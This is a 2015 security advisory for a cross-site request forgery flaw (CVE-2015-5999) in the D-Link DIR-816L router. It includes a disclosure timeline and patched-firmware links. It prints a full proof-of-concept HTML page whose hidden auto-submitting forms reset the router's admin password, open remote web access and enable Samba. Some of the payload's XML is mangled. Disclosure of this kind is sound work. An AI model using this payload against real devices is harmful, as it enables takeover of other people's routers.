D-Link DIR-816L Cross Site Request Forgery

2015-11-1600:00:00
Bhadresh Patel
packetstormsecurity.com
0.893 High
EPSS
Percentile
98.8%
JSON
`  
Title:  
====  
  
D-link wireless router DIR-816L  Cross-Site Request Forgery (CSRF) vulnerability  
  
Credit:  
======  
  
Name: Bhadresh Patel  
Company/affiliation: HelpAG  
Website: www.helpag.com  
  
CVE:  
=====  
  
CVE-2015-5999  
  
Date:  
====  
  
10-11-2015 (dd/mm/yyyy)  
  
Vendor:  
======  
  
D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.  
  
Product:  
=======  
  
DIR-816L is a wireless AC750 Dual Band Cloud Router  
  
Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L  
  
  
Abstract:  
=======  
  
Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.  
  
Report-Timeline:  
============  
27-07-2015: Vendor notification  
27-07-2015: Vendor Response/Feedback  
05-11-2015: Vendor Fix/Patch  
10-11-2015: Public or Non-Public Disclosure  
  
  
Affected Version:  
=============  
  
<=2.06.B01  
  
Exploitation-Technique:  
===================  
  
Remote  
  
  
Severity Rating:  
===================  
  
7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)  
  
  
Details:  
=======  
  
An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.  
  
  
Proof Of Concept:  
================  
  
1) User login to DIR-816L wireless router  
  
2) User visits the attacker's malicious web page (attacker.html)  
  
3) attacker.html exploits CSRF vulnerability and changes the admin account password  
  
PoC video link: http://youtu.be/UBdR2sUc8Wg  
  
Exploit code (attacker.html):  
  
<html>  
<body>  
  
<iframe style="display:none" name="hiddenpost"></iframe>  
  
<form action="http://192.168.0.1/hedwig.cgi" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">  
  
<input type="hidden" name="<?xml version" value=""1.0" encoding="UTF-8"?>  
<postxml>  
<module>  
<service>DEVICE.ACCOUNT</service>  
<device>  
<gw_name>DIR-816L</gw_name>  
  
<account>  
<seqno>1</seqno>  
<max>2</max>  
<count>1</count>  
<entry>  
<uid>USR-</uid>  
<name>Admin</name>  
<usrid/>  
<password>password</password>  
<group>0</group>  
<description/>  
</entry>  
</account>  
<group>  
<seqno/>  
&  
#9;<max/>  
<count>0</count>  
</group>  
<session>  
<captcha>1</captcha>  
<dummy/>  
<timeout>180</timeout>  
<maxsession>128</maxsession>  
<maxauthorized>16</maxauthorized>  
</session>  
</device>  
</module>  
<module>  
<service>HTTP.WAN-1</service>  
<inf>  
<web></web>  
<https_rport></https_rport>  
<stunnel>1</stunnel>  
<weballow>  
<hostv4ip/>  
</weballow>  
<inbfilter/>  
</inf>  
  
</module>  
<module>  
<service>HTTP.WAN&#45  
;2</service>  
<inf>  
<a!  
ctive&gt  
;0</active>  
<nat>NAT-1</nat>  
<web/>  
<weballow>  
<hostv4ip/>  
</weballow>  
</inf>  
  
</module>  
<module>  
<service>INBFILTER</service>  
<acl>  
<inbfilter>   
<seqno>1</seqno>  
<max>24</max>  
<count>0</count>  
  
</inbfilter>   
</acl>  
<ACTIVATE>ignore</ACTIVATE>  
<FATLADY>ignore</FATLADY><SETCFG>ignore</SETCFG></module>  
<module>  
<service>SHAREPORT</service>  
<FATLADY>ignore</FATLADY>  
  
<ACTIVATE>ignore</ACTIVATE></module>  
<module>  
  
<service>SAMBA</service>  
<samba>   
  
<enable>1</enable>  
<auth>1</auth>  
  
</samba>  
</module>  
</postxml>" />  
  
</form>  
  
<script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>  
  
<iframe style="display:none" name="hiddencommit"></iframe>  
  
<form action="http://192.168.0.1/pigwidgeon.cgi" method="POST" target="hiddencommit" id="csrf1">  
  
<input type="hidden" name="ACTIONS" value="SETCFG,SAVE,ACTIVATE" />  
  
</form>  
<script>document.getElementById("csrf1").submit()</script>  
  
</body>  
</html>  
  
  
  
Patched/Fixed Firmware and notes:  
==========================  
  
2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP  
  
2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF  
  
  
  
Credits:  
=======  
  
Bhadresh Patel  
Security Analyst  
HelpAG (www.helpag.com)  
  
`
0.893 High
EPSS
Percentile
98.8%
JSON
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